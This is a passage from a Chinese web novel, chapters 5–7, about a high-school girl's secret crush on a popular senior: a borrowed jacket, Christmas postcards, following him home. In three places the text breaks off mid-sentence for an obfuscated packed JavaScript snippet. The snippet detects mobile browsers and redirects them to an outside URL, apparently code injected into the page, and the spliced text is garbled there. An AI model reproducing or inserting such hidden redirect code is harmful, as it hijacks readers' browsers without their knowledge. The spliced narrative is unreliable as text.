只是当晚写日记时又突然懊悔起来。 虽然和他近距离待了五秒,但当时太紧张了,还是没有弄清楚他身上是什么味道。 李纵啊。 你究竟是什么味道的呢? 5. moon 冬天来临的时候,对一切事物的感知好像会比其他季节时更加清晰。 每天早上起床变得越来越困难,被窝实在太温暖柔软而美好了。 小卖部老板总算把雪柜的电源关掉了,但那台冰激凌机还是照常运行,生意甚至比之前更好。 讨厌体育课,讨厌跑步,讨厌跑步时整个胸腔充满铁锈味的干和疼。 喜欢跑完步后,来上一只甜筒。 有时是香草味,有时是草莓味,有时是抹茶味,取决于小卖部老板当天用什么口味的冰激凌粉。 站在冷风中舔上一口冰激凌,牙齿被冻得咯咯响,整个人从内往外散发寒气。每一下呼吸都有白烟出来,捂住嘴的话,就会从鼻子里跑出来。 和同桌温渺渺,一个每天都扎着双马尾的活力满满的女孩,指着彼此的鼻子哈哈大笑,会觉得这就是冬天的感觉啊。 冰激凌吃多了的下场,是某天早上起来,小腹往下坠钝钝的疼。 孟寻在客厅里翻箱倒柜半天也没找到整肠丸,只能呼喊她家母上大人:“妈,家里整肠丸你放在哪了呀?我肚子疼!” 陈女士每次都能抓住重点:“肚子疼?孟寻你老实交代,是不是又偷偷喝冷饮了?” 她立马摇头否认:“没!绝对没!” “那肯定就是吃了校门口那些乱七八糟的垃圾食品,我都跟你说过多少次了,那些东西全是色素和添加剂,让你别嘴馋别嘴馋,怎么就是管不住嘴!” “哎呀算了,我快迟到了,不跟你说了!”在陈女士发火之前,孟寻赶紧背着书包逃走了。 一路上越走越疼。那种感觉就像是有只手在她肚子里搅啊搅,搅啊搅。 额上出了一层细细密密的汗,孟寻强忍着痛加快脚步,第一次觉得从家里到学校的这段路如此遥远。 快走到学校门口时,身后突然有脚步声追了上来。 来人有一把清冷得好听的声音,像是浸泡着冰块的薄荷水: “同学——” 距离上一次听见李纵的声音,已经过去太久,几乎记不得了。所以孟寻回头之前,完全没有想到叫住自己的竟然会是他。 在那一秒,和他四目相对的那一秒,她的大脑一片空白,什么也想不起来了,就那么呆呆地看着他。 “你,”李纵桃花眼微敛,迟疑了下,忽地指了下她书包后面,有些不自在的:“裤子。” 裤子? 裤子怎么了? 孟寻茫然地眨了下眼,还没想明白,就看见对方迅速拉开拉链,将身上校服外套脱了下来,强行塞了过来: “给你。” “啊?” 她下意识接住了,“为——” 还没说完,李纵已经越过她往前走了,头也没回,左肩上挂着的黑色书包晃晃荡荡,看着要掉不掉的。 这是什么意思啊? 孟寻抱着那件外套,正想追上去问个明白时,一阵温热感突然从小腹涌出,流淌下来。 湿漉漉的。 一秒之后,她忽地反应过来,这莫非就是那个? 班上女生聚在一起时讳莫如深的“来了烦,不来也烦”的“亲戚”。 她脸色一白。 所以,是弄脏了裤子,被他看见了…… 但此刻也顾不上这些了,孟寻赶紧穿上李纵的外套。 他的外套对她来说实在太大太长了,一直来到膝盖,就跟小孩偷穿了大人的衣服一样,看着特别滑稽。 好丢脸。 偏偏还是在自己最在意的那个人面前丢脸。 孟寻眼圈一红,抬手去擦眼泪时陡然一顿。 袖口处一阵陌生的气息与冬日清晨透明的冷空气一起涌入鼻腔,是晒过太阳后很干净很温暖的皂香。 这就是,李纵的味道? 他的气息,正紧紧拥抱着她。 意识到这一点,少女瞬间心跳骤停。 到了教室,即使关了窗里边比外面温暖许多,孟寻还是舍不得脱下那件外套。 总觉得身上残留他的气温,接下来一整天都心不在焉的,时不时低头闻一下衣服上他的味道,一会叹气,一会傻笑,惹来温渺渺挤眉弄眼拖长了音:“有情况哦~是谁是谁?快告诉我!” 然而不管对方如何死缠烂打,孟寻都把嘴闭紧了,一个字也没有透露。 李纵,是一个她舍不得向任何人分享的秘密。 回家后,陈女士得知女儿的初潮终于来了,喜不自胜,拉着她唠唠叨叨说了一堆经期注意事项,最后还不忘强调:“不许再偷偷喝冰的了,否则等你老了有得后悔!” “哎呀知道了啦!” 孟寻一溜烟进了房间,踢掉毛绒拖鞋,蹦上她的小床,抱着李纵的外套翻来覆去地闻,想要牢牢记住这个味道。 直到不经意看见了镜子里自己笑得花枝乱颤的傻样,才后知后觉这样的行为实在很像那种猥琐的变态,赶紧打住。 这天晚上一直等到父母都睡了,孟寻才依依不舍将那件外套浸入热水里,倒上洗衣粉仔仔细细洗干净了,晾晒在她房间的小阳台上。 隔天是周六,等到周一早上,衣服也彻底干了。孟寻收下来时闻了一下,上边已经没有了李纵的味道,变成她所熟悉的家里用的那款洗衣粉的香味。 下课后孟寻抱着那件外套跑到高三理一班时,李纵正伏在桌上睡觉。 他的头发好像变长了些,冬日阳光下浓郁的墨色流淌下来,发尾被折射得几近透明,漆黑眼睫又浓又长,侧脸安静而美好。 他只穿了件单薄的白色羊绒衫,后背肩胛骨的形状微微透了出来,仿若颤动的蝶。 那阵子流感肆虐,班上很多人都中招了,所以孟寻脑海里冒出来的第一个念头就是,李纵是不是感冒了? 接着又想到,是不是因为把外套给了她,他才受冻感冒的? 正犹豫着要不要进去时,看见两个经常和他走在一起的男生从后门出来。 记得好像一个是叫司钦北,另一个是叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470223|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容霆,不过他们的名字和脸她对不上号。 来不及思考,孟寻伸手拦住了其中看起来更好相处的那一个:“这是他的衣服!” 说话的同时,她指了下教室最后一排靠窗的位置。 对方一愣,随即挑了下眉:“李纵的衣服?他的东西怎么会在你这?” “他、他借,”孟寻在他逐渐变得玩味的表情中及时改口:“是我捡到的。” 对方好像信了她的说辞:“这样啊。” 孟寻刚松了口气,下一秒就听见他一副无所谓的语气:“这衣服李纵不要了,你丢掉吧。” 她一下愣住:“丢、丢掉?” 这时有个女生突然插了进来,看着孟寻的眼神带着莫名其妙的攻击性,语气也很冲:“你可能不了解,李纵他有很严重的洁癖,别人碰过的衣服他是不会要的。” 说完,她握拳轻轻锤了下那个男生的胳膊,语气好像跟他很熟的样子:“容霆你这人怎么这样啊?又想出卖我们李纵是吧!别以为我不知道上回就是你把他的Q/Q给泄露出去的。” 在对方挥来第二拳之前,容霆侧身闪开,“有你们这帮护卫队在,我哪敢啊?” “什么你们?”那个女生一脸嫌弃:“别把我跟她们混为一谈。” 她双手抱臂,居高临下睨着孟寻:“你赶紧走吧,李纵最讨厌你们这些花痴女老是变着法子来我们班影响我们学习了。他最近很累,又生病了,你们能不能放过他啊?求求你们让他好好休息吧!” 一番阴阳怪气的指责劈头盖脸砸了下来,孟寻脑瓜子嗡嗡的。 缓了四五秒后,在“吵醒他”和“落荒而逃”之间,她最终选择了后者。 那件校服外套就这样留了下来,被孟寻珍惜地存放在衣柜最底下,成为她所拥有的第一件真正意义上属于李纵的物品。 勇士从此有了专属于她的铠甲。 因为那天那个女生的话,接下来很长一段时间里孟寻都不敢再踏进高三教学楼区。 害怕自己真的打扰到他,害怕会被他讨厌。 之后有几次碰见了李纵,有时是在篮球场,有时是在小卖部。 当他迎面走来的时候,孟寻总会心虚地迅速低下头,根本不敢和他对视,直到和他擦身而过后,才敢贪婪地望着他的背影。 书上说,人跟人之间的缘分很浅,看一眼,就少一眼。 每次她都希望自己的眼睛是相机镜头,可以留住他的身影,等日后再也见不到面时用来回味。 花了一整个冬天,跑遍全市所有的超市,试遍市面上所有的洗衣液,终于有一天找到了和李纵身上一模一样的味道。 是个英国进口的牌子,卖得挺贵的,花光所有的零花钱也只够买上小小一瓶。 孟寻用它洗了枕套和被套。 晒干后重新套上,整个房间都是香香的。 夜晚枕着淡淡柠檬草混合凛冽的薄荷香气入睡,于是梦境里的他终于不再冷冰冰,有了真实的温度和气息。 6. moon 2012年12月20日,玛雅人预言的世界末日的前一天,周四。 数学老师嗓子发炎了,于是这节课变成了自习。 老师一走,班上安静了不到三分钟,大家开始交头接耳议论起来,话题就是即将到来的世界末日。 温渺渺压低了声音:“你听说了吗?网上有人发帖,说地球要爆炸了,我们所有人都会死掉。” 后桌男生听见她的话,插了进来:“哇,那明天我们是不是就不用上课了?不对啊,那学校怎么都没通知要给我们放假?” 温渺渺翻了个大大的白眼:“都快没命了,谁还管这狗屁学校狗屁领导给不给我们放假呢。” 她又凑到孟寻耳边:“今晚我要等到十二点过了再睡,孟孟你也千万别睡,一定要等我call你喔!要是我们幸运地活下来了,明天体育课我请你吃甜筒呀!” “好。” 孟寻一边应着,一边不由自主想到,如果明天地球注定要毁灭,那么今天将会是自己能够见到李纵的最后一次机会。 她不免惆怅起来,看见窗外那棵光秃秃的合欢树都莫名有了几分悲壮的味道。 这个世界上所有的东西,一旦在前面加上“最后一次”这个限定词,就会变得弥足珍贵,让人甘愿为之豁出一切。 于是她几乎没有任何犹豫的就决定了放学后要再去一趟高三教学楼区。 高三年级比其他年级要多上一节课。 孟寻抱着膝盖坐在中明楼七楼去往天台的楼梯上,戴上耳机,耐心地等待着李纵下课。 天色慢慢变得昏暗,直至夕阳收尽最后一丝余晖。学校里的人好像都走光了,往下望去空荡荡的,安静得让人很不习惯。 耳机里单曲循环着黄品冠的《无可救药》:“暗恋是一种礼貌,暗地里盖一座城堡,然后再当你的警卫跑腿和小猫……” 听到第十遍时,下课铃声猝然响起。 两三秒后,一整栋楼此起彼伏凳子腿与地面碰撞出的刺耳声音,陆续有人走出教室,楼道里吵吵闹闹的。 孟寻赶紧摘下耳机,胡乱塞进书包侧兜,起身跑到楼梯拐角处蹲下。 从这个视角可以清楚看见每个下楼梯的人,而又不会被别人发现她的存在。 视线掠过一张张陌生的脸,等了很久,都没有看到李纵出来。 孟寻开始疑心是不是自己一时走神错过了他,又或者是他今天根本没来上课。 可明天就是世界末日了啊。 这样想着,内心充斥着一种难以言状的悲伤。 然而就在下一秒,视线中突然出现了一帮男生。其中好几张脸都很眼熟,是经常和他走在一起的。 心情跟坐过山车似的,一下子被荡到最高点。孟寻无意识屏住呼吸,指甲深深陷入掌心。 走在最后面的果然是李纵。 左肩上挂着一个黑色书包,晃晃荡荡,看着要掉不掉的,右手食指正顶着一颗篮球不断转动,额前碎发被风吹起,立体的眉眼被光镌刻而出,清冷不驯。 当他走下第一级阶梯,她立马起身,顾不上拍掉书包上沾到的墙灰,连忙跟了过去,和他保持着刚好一米的距离。 不远,不近。 长长的Z字形楼梯,反复折叠。 路灯昏黄光线从侧面投了下来,将他影子无限拉长,覆在她的眼睫。忽明忽暗的光落入瞳孔,像梦。 少女伸出手来,小心翼翼又贪婪地触碰那虚无缥缈的暗影。 而每当他走到一个拐角处,她眼睛到他后背的距离在这一瞬全部归零,她可以清楚看见他漆黑眼睛。 夜色越暗反而越亮的眼睛。 要是这条楼梯一直走不完,就这样和他一起走到世界末日,那该有多好啊。 快走到一楼时,巨大的失落感涌上心头,电光火石之间孟寻忽地想起什么,手忙脚乱从书包里掏出手机。 是陈女士前不久刚淘汰下来给她的,她没怎么打开过,对手机里边的很多功能都不熟悉。好不容易才找到摄像功能,又着急忙慌对着他的背影按下拍摄。 可能是太紧张了手一直抖,加上天色太黑,对不上焦。 拍出来特别模糊。 但在得到这张照片的一瞬,她却仿佛获得了全世界最珍贵的宝藏,幸福到有种强烈的落泪冲动。 回家的一路上风很大,孟寻缩了缩脖子,将围巾拢得更紧。 冻得瑟瑟发抖的时候心里却在想,好像更喜欢冬天了呢。 晚上坐在台灯下,孟寻根本没法静下心来写习题,每隔一会就要打开一次相册,对着那张照片傻笑不停。 她家母上大人端着一杯热牛奶进来,见状问道:“傻乐什么呢?” 孟寻立马将手机倒扣在桌上,眼神闪烁:“我在等我同桌电话,她说世界末日如果没来,明天就要请我吃东西。” “傻瓜,哪有什么世界末日啊,那都是骗你们这些小孩的。”陈女士将牛奶放到桌上,揉了揉她的头发,“好了,赶紧把牛奶喝完了去睡觉吧。” 陈女士说的果然没错,十二点的钟声响起,世界末日真的没来。 孟寻躺在床上困得眼泪直流,一边等着温渺渺的电话,一边看着手机里那张照片,不知不觉睡着过去。 这晚又梦见了李纵。 教学楼间长长的Z字形楼梯怎么走也走不完,他走在前面,她悄悄跟在后面,踩着他的影子,四周升起无数梦幻的透明泡泡。 早上醒来时还能清楚记得那种真实的雀跃的感觉。 到了班里,温渺渺一见到她满脸心虚:“对不起啊孟孟,我昨天实在太困了,忘记要给你打电话的事了。” 孟寻说“没事”。 温渺渺仔细观察她的表情,突然伸手一把掐住她右边脸颊:“奇怪,你今天怎么这么开心啊?快说快说,遇到什么好事了?” “因为,”孟寻笑得眼睛弯弯:“我们都幸运地活下来了呀。” 所以未来的时间里,还有很多很多个可以见到李纵的机会。 - 不久后又迎来了平安夜和圣诞节。 学生时代,这一前一后两个节日,代替了明面上与他们无关的情人节与七夕,是至关重要的。在这一天,他们可以打着友情的旗号光明正大给喜欢的人送礼。 平安夜那天,班里格外的躁动。 预备铃打响了,温渺渺凑到她耳边:“孟孟,你有没有想要送礼物的人呀?悄悄告诉我的话,我可以陪你一起去喔!” 孟寻迟疑了下,轻轻摇头。 “什么啊,一个都没有?”温渺渺一点也没有怀疑,“好吧,姑奶奶我可是准备了整整五张明信片哟。” 孟寻:“啊?” 温渺渺掰着手指头说了起来:“学校贴吧帅哥排行榜上前五,高三的李纵学长、司钦北学长、钱铭学长,高二的迟宗墨学长,还有一个谁来着……哦,游镜澄学长。” 孟寻听得目瞪口呆:“这么多啊……” “广撒网,机会大点嘛。万一他们之中哪个突然就瞎了眼喜欢上我了呢。”温渺渺说到这里话头一转:“靠北啦,搞半天就咱们这一级根本没有帅哥,全是冬瓜大枣。” 孟寻:“你想说的,是歪瓜裂枣吧?” “哎呀,反正都差不多一个意思,你懂就行。”温渺渺揽住她手臂靠在她肩头撒娇:“好孟孟,机会难得,你也一起来嘛!” 孟寻低下头去,翻动书页沙沙响,“……好吧。” 温渺渺从书包里拿出一叠明信片,十分大方:“这些我都用不着了,你随便挑,看上的都给你。” 孟寻视线一一掠过那些明信片,选中了其中一张她认为最好看的。是唱片形状的异形明信片,正面印着纯净的蓝色天空,还有一只无拘无束的风筝。 而后又随便地抽了另外四张。 “就这五张吧。” “再给你一个好东西。” 温渺渺说话间,老师已经进来了。她神神秘秘掏出压在课本下的小册子,从桌上慢慢推到孟寻那里,压低了声音:“你要是不知道在上面写什么的话就看看这个,我那些句子都是从里边抄的。” 孟寻垂眼一看,只见封面上印着六个粉色大字:《告白金句大全》。 她:“……” 趁着老师背过身去写板书的时候,孟寻赶紧把它推回了温渺渺面前。 整一节课,孟寻都在想着要在那张明信片背面给李纵写什么话。 最后在温渺渺的催促下,才终于写下一句—— 【愿你流年不悔,葳蕤蓬勃,纵横驰骋,无拘无束。】 至于给其他人的,只花了不到三十秒的时间。 给司钦北和另外一个高三的学长写的是“祝你前程似锦”,给高二那两个人写的则是“祝你天天开心”。 第二节课下课后,孟寻和温渺渺与其他女生一样,在教学楼间往返飞奔。 先去的是高二教学楼区,孟寻压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470224|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根不知道也不关心谁是迟宗墨谁又是游镜澄,就这么稀里糊涂跟着温渺渺把明信片分别放进了他们的课桌下。 然后又来了高三教学楼区。 在迎朝楼遇到了点小插曲—— 那个叫钱铭的学长,个子矮小,长相普普通通,戴着黑框眼镜,脸上长满痘痘。看见孟寻和温渺渺来给他送礼物,他们班女生都以一种看神经病的怜悯眼神看着她们。 出来的时候,温渺渺没忍住嘴跟机关枪一样叭叭叭地吐槽起来:“学校贴吧上那张照片是他自己P的吧,把自己P成黎明,实际就是火云邪神,根本就是诈骗啊诈骗!真不要脸!” 孟寻哭笑不得,心头紧张感被冲淡了些。 爬到中明楼第七楼的时候,两人都被吓了一跳,只见走廊上人满为患,一眼望去几乎都是女生。 温渺渺定睛一看,夸张地倒吸一口冷气:“我靠,三班班花、五班班花、九班班花……怎么大家都来了啊,我怀疑咱们年级全部女的都在这了。” 孟寻被这阵仗弄得又开始紧张起来。 她们拼命往前挤,好不容易才挤到理一班后门口。 “完了,这里面至少有三分之二是喜欢李纵学长的。”温渺渺叹了口气:“那我的礼物跟石沉大海有什么区别啊?” 说话间,有个女生从里边出来了。她的同伴立马上前拉住她的手:“他收了吗收了吗?” 女生娇羞点头:“嗯。” 接着一脸陶醉地回忆了两秒,激动到破音:“而且你知道吗,他还跟我说话了!” 这时又有一个女生从后门进去,怀里抱着一颗斯伯丁篮球。 “我靠,早知道我也买这个了,这种礼物哪个男生能拒绝啊!” 温渺渺说:“你想想,李纵学长他这么爱打球,以后每次打球都会用到她送的这个篮球,这样他天天都会想到她诶,太心机了吧。” 说到这里她长叹口气:“像我这样就送一个明信片,根本不可能让他记得住我,失策了失策了。” 然而温渺渺不会知道的是,除了明信片,孟寻校服外套口袋里其实还藏着另一份礼物。是昨天特意去饰品店挑的,一个硅胶材质篮球造型的钥匙扣。 可是跟那个女生送的斯伯丁篮球比起来,它实在太廉价,太不值一提了。 孟寻慢慢攥紧手指,一颗心好像泡在隔夜的柠檬水里,酸涩难言。 眼看就快上课了,后面的人都有些焦急,温渺渺心一横索性拽着孟寻强行挤了进去。 教室最后一排,容霆挡在一群女生面前,努力维持着秩序:“大家一个个慢慢来,不要着急,不要推搡,别打扰到其他同学嗷,不然李纵就不收你们的礼物了,还有,只收贺卡或者手写信,其他东西一律不收,不要送了哈。” 李纵坐在窗边,每一个女生上前送出礼物,他都会双手接过,礼貌地和对方说“谢谢”。 而他旁边,司钦北趴在课桌上正在睡觉。 他们两人的课桌下已经堆得满满当当。 好不容易轮到她们,温渺渺一个箭步冲上前去,将那张明信片用力拍到桌上:“李纵学长,我从入学开始就非常喜欢你!我是高一十六班的温渺渺,一定要记得我喔!” 李纵拿起贺卡,声音听着像是感冒了,沙沙的,带着很重的鼻音:“谢谢。” “不客气不客气!”温渺渺说着又将另一张明信片塞进司钦北的课桌下,然后转身朝着孟寻做了个打气的手势:“加油!” 孟寻眼尾余光中,李纵侧过身去,以拳抵唇轻咳了两下。 当他转过身来,她刚好走到了他们的课桌前。 即将和李纵对视的那个瞬间,孟寻忽地改变了注意,将两张明信片连同那个挂件一起胡乱地塞进了司钦北的课桌下,而后迅速转身走掉。 “咦,你不是有两张明信片吗?为什么只送了司钦北学长一个人啊?”温渺渺替她扼腕不已:“这可是难得能跟李纵学长说话的机会诶!” “你不知道吗,之前两年他都不收大家礼物的,架不住别人趁他不在往他课桌里塞,听说就是因为那些礼物太贵重了,收下不合适,丢掉也不合适,只能想办法一个个送回去,所以今年他才决定亲自收的。” 孟寻没有正面回答:“快上课了,走吧。” 为什么呢? 因为她是个胆小鬼。 更因为—— 她根本不想看到李纵明明嗓子已经很不舒服了,还要对她说“谢谢”。 7. moon 元旦一过,离期末考也不远了。 某节自习课上,因为温渺渺一句“寒假你打算做什么”,孟寻从昏昏欲睡中猝然惊醒。 要放假了,那岂不是会有很长一段时间都见不到李纵了? 这时才突然意识到,原来这个世界上还有比高一教学楼区和高三教学楼区更加遥远的距离。 比如说,从她家到他家。 话又说回来,李纵的家在哪呢? 这个问题的答案,流传了很多个版本。 有说是在南郊别墅区的,有说是在市中心最高档的小区,还有说他就住在三中教职工大院的,说的人信誓旦旦,仿佛亲眼见过他从那个地方走出来。 他穿的衣服、球鞋都是名牌,平日里很大方,经常请他们班的人喝饮料,所以住在南郊别墅区或者市中心最高档的小区,可能性很大。 但,校内传闻他妈妈是教师,且从他待人接物的方式也看得出来他的家教很好,所以住在三中教职工大院,也不是没有可能。 孟寻始终无法确定到底哪一个才是正确答案。 某天轮到她们小组值日。 临近期末考,同组的人都想早点回家复习,于是不约而同装作不知道要值日这件事直接走了,留下她一个人。 打扫完整个教室时,窗外天色已经彻底暗了下来。 孟寻闷闷不乐地背着书包走出校门,却在路灯亮起的一瞬间,突然看见前方不远处一个高大修长的背影。左肩挂着熟悉的黑色书包,随着他每走一步轻轻晃荡,看着要掉不掉的。 是他。 她心跳蓦地漏掉一拍。 原来这个世界上,真的有“因祸得福”。 孟寻加快脚步追了上去,又慢下来,始终和李纵隔着三米的距离。 走到十字路口,李纵往左拐,而她家应该往右。 可孟寻想也没想,义无反顾又跟了上去。 冬夜的风阵阵吹来,将他浓黑头发吹得凌乱,露出后颈上一小块白皙的皮肤。 她贪婪地盯着,感慨他怎么就连后脑勺都比别人要好看些。 红灯忽然亮起,李纵倏地停下脚步,偏过头去,目光不知被什么东西吸引了。 几乎是同一时间,孟寻慌忙闪身躲到树后,心脏扑通扑通直跳。 糟糕。 是被他发现了吗? 等了好几秒,他都没有看向这边。 顺着他的视线看去,才发现对面马路边上站着一只白色萨摩耶,毛发蓬松洁白,耳朵是漂亮的粉,十分可爱。 很快绿灯亮了,李纵拔腿走向对面。 孟寻看着不断跳动的绿色数字,在“继续跟”与“不跟”之间还是选择了前者。 过了人行道,他走向那只萨摩耶,和它的主人说了几句什么,又蹲下身去,笑着伸手轻轻揉了揉小狗的脑袋瓜。 远处霓虹灯光折射进他漆黑眼睛,亮晶晶的。 在那一刻,她突然很希望自己就是那只小狗。 大概过了两分钟,李纵起身继续往前走。 孟寻也继续跟了过去。 一边唾弃自己,现在这样的行为和变态跟踪狂没什么区别,会被他讨厌的。 一边警惕地左看右看,随时准备着他一转身,自己就迅速躲进路边的某家店铺,又或者是垃圾桶后。 幸好,他一次也没有回过头来。 最后,孟寻看着李纵走进了那个传闻中的富人小区。 门口有好几个保安看着,不刷卡进不去,于是只能跟到这里。 她站在小区高高的欧式雕花镂空金属围栏外面,仰起头看着里边一幢幢楼,猜测着那些方形窗口里究竟哪一盏亮起的灯是他打开的,许久才依依不舍地掉头回家。 - 这一年的寒假让人感觉无比漫长。 以前总是盼着放假,现在却是天天想着快点开学。 除夕那晚,小姨一家四口过来家里一起吃饭。菜还没上,表弟就跑去冰箱找饮料了。 表弟拿了一瓶陈皮白茶,孟寻刚要阻止却已来不及,只见他迫不及待喝了一口,下一秒立马吐了出来:“呸!这什么东西?难喝死了。” 一旁表妹见状好奇地拿过去尝了一口,随即皱起眉头:“好苦啊。” 陈女士笑道:“你们小橘姐姐呀,这阵子在家里天天喝这个,跟上瘾了一样,边喝还边一个人在那一会傻乐一会叹气的,我都怀疑这饮料里边是不是被人下了什么迷魂药。” 孟寻心头一紧,以为自己的秘密已经暴露。 陈女士接着说道:“不过我看了成分表,就是茶叶嘛,也没什么乱七八糟的色素和添加剂,喝这个总比喝那些碳酸饮料好。” 小姨立马点头表示同意,顺着这话大人们又开始了对垃圾食品的批判。 呼。 孟寻悄悄松了口气,一摸耳根才发现热得厉害。 大年初六,一大早还在睡梦中就被温渺渺的夺命连环call吵醒。 孟寻困得眼睛都睁不开:“喂——” 电话那头传来温渺渺兴奋的声音:“想不想见到你喜欢的那个谁呀?我知道他现在在哪,你来不来?” 孟寻意识瞬间清醒:“我、我哪有,喜欢的人……” 温渺渺说:“司钦北学长啊,你不是喜欢他吗?” 孟寻刚要否认,又听对方继续说道:“学校对面新开了一家奶茶店你知道吧,我跟你说,他跟李纵学长现在就在那里。” 猝不及防听到那个名字,她微怔了下,咬了咬唇:“你怎么知道的?” “学校贴吧有人发帖说看见他们了,有图有真相,来嘛来嘛。” “……好。” 两人约好十分钟后学校门口见。时间紧迫,孟寻赶紧打开衣柜。 一件件拿起又放下,这件不行,太幼稚了,那件也不行,太土了。 她个子娇小,再加上陈女士总觉得她还是小孩,回回都是在童装店给她买的衣服。找了半天,竟然没有一件“这个年纪女孩应该穿的衣服”。 都打算直接穿校服出门算了,下一秒却突然看见旁边一个精致的购物袋。 那阵子港台那边正流行“下衣失踪”的穿搭,小姨一向追赶时髦,出差回来特意给孟寻也带了一件长款毛衣,白色仿水貂绒的,上面还有金银丝,毛绒绒又亮闪闪。 她之前觉得这衣服太成熟了不适合自己,一直都没拿出来过。 但这天不知哪来的勇气,孟寻换上那件毛衣,站到了镜子前。 V领开得很低,露出精致的锁骨,显得脖颈更为修长纤细,后背是镂空交叉蕾丝绑带的设计,女人味十足。肉色丝袜紧紧包裹着双腿,显得又长又细又直。 平日里不是穿校服就是卫衣加牛仔裤,一副好好学生的样子。乍一看见这样的自己,她一下呆住了,耳朵红红,好一会才回过神来。 跟温渺渺汇合时,对方差点没认出她来,“哇,真没想到,原来我们孟孟出了学校是这个样子的,啧啧,好温柔好性感。” 孟寻不知道自己当时怎么想的,脱口而出:“那你觉得我这样,像不像一只萨摩耶?” “啥?”温渺渺愣了两秒,“噗嗤”一笑:“是我想多了,你啊,还是那个我认识的孟孟。” 孟寻也知道自己刚刚问出的那句话有多愚蠢。 只是觉得,如果像萨摩耶的话,是不是,他就能注意到她了? 又突然想到,其实自己对他根本一点都不了解。 知道他的生日、星座,知道他喜欢打球,偶像是詹姆斯,知道他喜欢喝的饮料……但这些都是别人也知道的。 他喜欢的,究竟会是怎样的女生? 是像她一样矮矮小小,穿着校服灰头土脸的? 还是个子高挑,成熟会打扮的? 那么多漂亮的优秀的闪闪发光的女生,全都铩羽而归,她们不行,她又凭什么痴心妄想,觉得自己会是那个例外? 孟寻胡思乱想着,和温渺渺手牵手进了奶茶店。这店前不久才开张,她俩都是第一次来。 店名叫“优优奶茶”,听说是因为老板喜欢了很多年的女孩叫“优优”,所以才取了这个名字。 店里坐满了女生,孟寻扫视一圈,并没看见自己思念的那个身影。 温渺渺看见她的初中同学也在,跑过去跟人家打了个招呼,很快带着情报回来:“他们刚才已经走了。” “哦……”孟寻不免有些失落,但面上还得装作开心,“你想喝什么,我请你。” “你点这个远山青绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470225|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,刚才听她们说,司钦北学长点的就是这个,”温渺渺翻着菜单,“我呢,就跟我们李纵学长点一样的好了,这个,薰衣草双皮奶。” 孟寻眼睫轻颤了下:“好啊。” 没一会店员就把她们点的东西送了过来。 温渺渺挖了一口双皮奶尝了下,点评道:“不好吃,一点都不甜,淡淡的,你那个呢?” 孟寻插上吸管并没有喝,直接把自己那杯递了过去:“我这个是抹茶味的奶茶,感觉会很甜,要不我跟你换吧。” 温渺渺自然不会拒绝:“好啊,我最喜欢甜的了。” 于是孟寻就这样如愿以偿地吃到了李纵点过的那款薰衣草双皮奶。 和温渺渺说的一样,味道很淡,几乎尝不出一点甜味。可是莫名其妙的,她的心情却忽然好了一些。 温渺渺一边喝着奶茶一边刷着贴吧,“这都不到半个小时呢,这个帖子居然已经盖了一千多楼,果然帅才是第一生产力。” 说着她拉近凳子凑了过来,压低声音:“我敢打赌,现在店里百分之九十九的女生,绝对都是冲着李纵学长他们来的,要我说,老板就该直接给他们免单的,你瞧这张照片,多好的广告啊。” 孟寻视线落到对方递来的手机屏幕上。 照片上除了李纵还有司钦北和容霆,另外两人都被拍到正脸,而李纵只有一个低头在看手机的侧面,可她还是一眼只看见他。 他穿的是件黑色连帽卫衣,衬得肤色更为冷白,好像在发光。额前碎发有些长了,微微挡着眉眼,眼睫毛长长的,让人很想揪一根下来。 她忍不住将照片放到最大,又发现他的手也生得很好看,手指修长,骨节分明,手背上有淡淡的青筋。 不敢看得太久,怕被温渺渺发现自己的秘密,孟寻将手机还了回去,状若无意说道:“他们真的很受欢迎啊。” “其实是李纵学长受欢迎啦。虽然司钦北学长长得也不错,但他性格不行,根本没有女孩敢喜欢他。” “?” “你看啊,他那么冷,脾气又很臭,不像我们李纵学长对谁都很客气,也不像那个骚包容霆对谁都笑眯眯,成天招蜂引蝶,跟狐狸精似的。” 温渺渺忽然叹了口气:“唉,说起来,有时候觉得李纵学长还挺可怜的。” 孟寻一愣。 “为什么说李、”她始终无法坦然地念出他的名字,“他,可怜?” “因为他太受欢迎了,脾气又好,遇到的糟心事要比别人多好多。” 紧接着,温渺渺绘声绘色举个两个例子—— 一是李纵刚入学的时候,有很多其他班的女生放学后偷偷溜进他们班,乱翻他放在桌肚里的东西,有的偷走他笔记本拿回家收藏,有的把他的课本当成留言板,在上边写了“我喜欢你”还有Q/Q号。 弄得他很无奈,只能每天都把自己的物品背回家。 二是去年冬天,有个女生每天夜修后悄悄潜入他们班,找到李纵的保温杯喝掉里边剩的水。后来被其他人偶然发现了这件事,赶紧提醒了他。 